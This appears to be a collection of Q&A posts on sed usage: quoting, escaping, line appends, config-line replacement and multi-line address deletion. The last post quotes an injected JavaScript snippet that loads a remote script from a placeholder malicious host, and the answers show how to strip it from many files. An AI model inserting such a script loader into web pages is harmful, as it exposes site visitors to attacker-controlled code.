sed -i.bak "/"string"/s/$/ "num"/" filename
Where "string" is a pattern, "num" is a number and "filename" is a name of file
sed reads lines one at a time and applies the script's actions to each in turn.
The -i.bak option says to write changes back to the original file name, and save the previous contents with a .bak extension.
The script adds num with a space before it to lines which contain string somewhere within them.
The shell quoting is basically broken; the author seems to have been guessing where the quotes are necessary. But the only crucial quoting here is that the space before num needs to be inside quotes, which happened to succeed. With less haphazard quoting, the script could be written
sed -i.bak '/string/s/$/ num/' filename
The general syntax of a sed script is a sequence of <address>, <action> pairs, where <address> is optional; if it is missing, the <action> is applied to all lines. But here, the <address> selects only lines which match the regex between the first pair of slashes, and the <action> is the s substitution command. The regex $ matches the position just before the end of each line, and the replacement is just a static string.
Related
I have a file and I want to append a specific text, \0A, to the end of each of its lines.
I used this command,
sed -i s/$/\0A/ file.txt
but that didn't work with backslash \0A.
In its default operations, sed cyclically appends a line from input, less it's terminating <newline>-character, into the pattern space of sed.
The OP wants to use sed to append the character \0A at the end of a line. This is the hexadecimal representation of the <newline>-character (cfr. http://www.asciitable.com/). So from this perspective, the OP attempts to double space a files. This can be easilly done using:
sed G file
The G command, appends a newline followed by the content of the hold space to the pattern space. Since the hold space is always empty, it just appends a newline character to the pattern space. The default action of sed is to print the line. So this just double-spaces a file.
Your command should be fixed by simply enclosing s/$/\0A/ in single quotes (') and escaping the backslash (with another backslash):
sed -i 's/$/\\0A/' file.txt
Notice that the surrounding 's protect that string from being processed by the shell, but the bashslash still needed escape in order to protect it from SED itself.
Obviously, it's still possible to avoid the single quotes if you escape enough:
sed -i s/$/\\\\0A/ file.txt
In this case there are no single quotes to protect the string, so we need write \\ in the shell to get SED fed with \, but we need two of those \\, i.e. \\\\, so that SED is fed with \\, which is an escaped \.
Move obviously, I'd never ever suggest the second alternative.
I have this script with just one line, but I could not understand what it really does:
sed -i '/$$wf_cdc=/c\$$wf_cdc='"$1"'' /Infa_sharedBDE/PARAMS/pf_CREDITO_CDC.cfg
It should replace creating a copy of the pf_CREDITI_CDC.cfg file, but
what does this command do?
'/$$wf_cdc=/c\$$wf_cdc='"$1"''
What is $$?
$$ is used literally here. The command does the following:
'/$$wf_cdc=/ is a line address: if a line contains the string $$wf_cdc=, then ...
c\$$wf_cdc='"$1"'' could also be written c $$wf_cdc='"$1"'' (at least in GNU sed): it replaces the pattern space (the current line) with \$$wf_cdc='"$1"''. Personally, I'd escape $ both times to make sure it's not interpreted as end-of-line anchor, but sometimes you get away without it.
'"$1"'' is the first positional parameter properly quoted: end single quote of the sed command, then insert $1 in double quotes, then finish rest of single quoted string (empty, in this case, and could be dropped in my opinion).
All in all, this will be called in a function or script, find the line containing $$wf_cdc= and replace it with $$wf_cdc=<parameter>, where <parameter> is supplied to the script or function as its first argument.
The -i flag replaces the file being edited "in place", i.e., makes and modifies a temporary copy and then renames that copy to the name of the original file.
I know this should be straight forward but I'm stuck, sorry.
I have two files both contain the same parameters but with different values. I'm trying to read one file line at a time, get the parameter name, use this to match in the second file and replace the whole line with that from file 1.
e.g. rw_2.core.fvbCore.Param.isEnable 1 (FVB_Params)
becomes
rw_2.core.fvbCore.Param.isEnable true (FVB_Boolean)
The lines are not always the same length but I always want to replace the whole line.
The code I have is as follows but it doesn't make the substitutions and I can't work out why not.
while read line; do
ParamName=`awk '{print $1}'`
sed -i 's/$ParamName.*/$line/g' FVB_Params.txt
done < FVB_Boolean.txt
You need your sed command within double quotes if you want those variables to be replaced with their values. You have single quotes, so sed is actually looking for strings with dollar signs to replace with the string '$line', not whatever your shell has in the $line variable.
In short, sed's not seeing the values you want. Switch to double quotes.
I have a simple sed command that I am using to replace everything between (and including) //thistest.com-- and --thistest.com with nothing (remove the block all together):
sudo sed -i "s#//thistest\.com--.*--thistest\.com##g" my.file
The contents of my.file are:
//thistest.com--
zone "awebsite.com" {
type master;
file "some.stuff.com.hosts";
};
//--thistest.com
As I am using # as my delimiter for the regex, I don't need to escape the / characters. I am also properly (I think) escaping the . in .com. So I don't see exactly what is failing.
Why isn't the entire block being replaced?
You have two problems:
Sed doesn't do multiline pattern matches—at least, not the way you're expecting it to. However, you can use multiline addresses as an alternative.
Depending on your version of sed, you may need to escape alternate delimiters, especially if you aren't using them solely as part of a substitution expression.
So, the following will work with your posted corpus in both GNU and BSD flavors:
sed '\#^//thistest\.com--#, \#^//--thistest\.com# d' /tmp/corpus
Note that in this version, we tell sed to match all lines between (and including) the two patterns. The opening delimiter of each address pattern is properly escaped. The command has also been changed to d for delete instead of s for substitute, and some whitespace was added for readability.
I've also chosen to anchor the address patterns to the start of each line. You may or may not find that helpful with this specific corpus, but it's generally wise to do so when you can, and doesn't seem to hurt your use case.
# separation by line with 1 s//
sed -n -e 'H;${x;s#^\(.\)\(.*\)\1//thistest.com--.*\1//--thistest.com#\2#;p}' YourFile
# separation by line with address pattern
sed -e '\#//thistest.com--#,\#//--thistest.com# d' YourFile
# separation only by char (could be CR, CR/LF, ";" or "oneline") with s//
sed -n -e '1h;1!H;${x;s#//thistest.com--.*\1//--thistest.com##;p}' YourFile
Note:
assuming there is only 1 section thistest per file (if not, it remove anything between the first opening until the last closing section) for the use of s//
does not suite for huge file (load entire file into memory) with s//
sed using addresses pattern cannot select section on the same line, it search 1st pattern to start, and a following line to stop but very efficient on big file and/or multisection
I found some malicious JavaScript inserted into dozens of files.
The malicious code looks like this:
/*123456*/
document.write('<script type="text/javascript" src="http://maliciousurl.com/asdf/KjdfL4ljd?id=9876543"></script>');
/*/123456*/
Some kind of opening tag, the document.write that inserts the remote script, a seemingly empty line, and then their "closing tag."
In a comment on this Stack Overflow answer I found out how to delete a single line in a single file.
sed -i '/pattern to match/d' ./infile
But I need to delete one line before, and two lines after, and again it is in at least a few dozen files.
So I think I could perhaps use grep -lr to find the file names, then pass each one to sed and somehow remove the matching line, as well as one before and 2 after (4 lines total). Pattern to match could be "\n*\nmaliciousurl\n\n*\n"?
I also tried this, trying to replace the pattern with empty string. The .* are the hex numbers in the opening/closing tags, and also the stuff between the tags.
sed -e '\%/\*.*\*/.*maliciousurl.*/\*/.*\*/%,\%%d' test.js
You need to match on the begin and end comments, not the document.write line:
sed -e '\%/\*123456\*/%,\%/\*/123456\*/%d'
This uses the % symbol in place of the more normal / to delimit the patterns, which is usually a good idea when the pattern contains slashed and doesn't contain % symbols. The leading \ tells sed that the following character is the pattern delimiter. You can use any character (except backslash or newline) in place of the %; Control-A is another good one to consider.
From the sed manual on Mac OS X:
In a context address, any character other than a backslash ('\') or newline
character may be used to delimit the regular expression. Also, putting a backslash character before the delimiting character causes the character to be
treated literally. For example, in the context address \xabc\xdefx, the RE
delimiter is an 'x' and the second 'x' stands for itself, so that the regular expression is 'abcxdef'.
Now, if in fact your pattern isn't as easily identified as the /*123456*/ you show in the example, then maybe you are forced to key off the malicious URL. However, in that case, you cannot use sed very easily; it cannot do relative offsets (/x/+1 is not allowed, let alone /x/-1). At that point, you probably fall back on ed (or perhaps ex):
ed - $file <<'EOF'
g/maliciousurl.com/.-1,.+2d
w
q
EOF
This does a global search for the malicious URL, and with each occurrence, deletes from the line before the current line (.-1) to two lines after it (.+2). Then write the file and quit.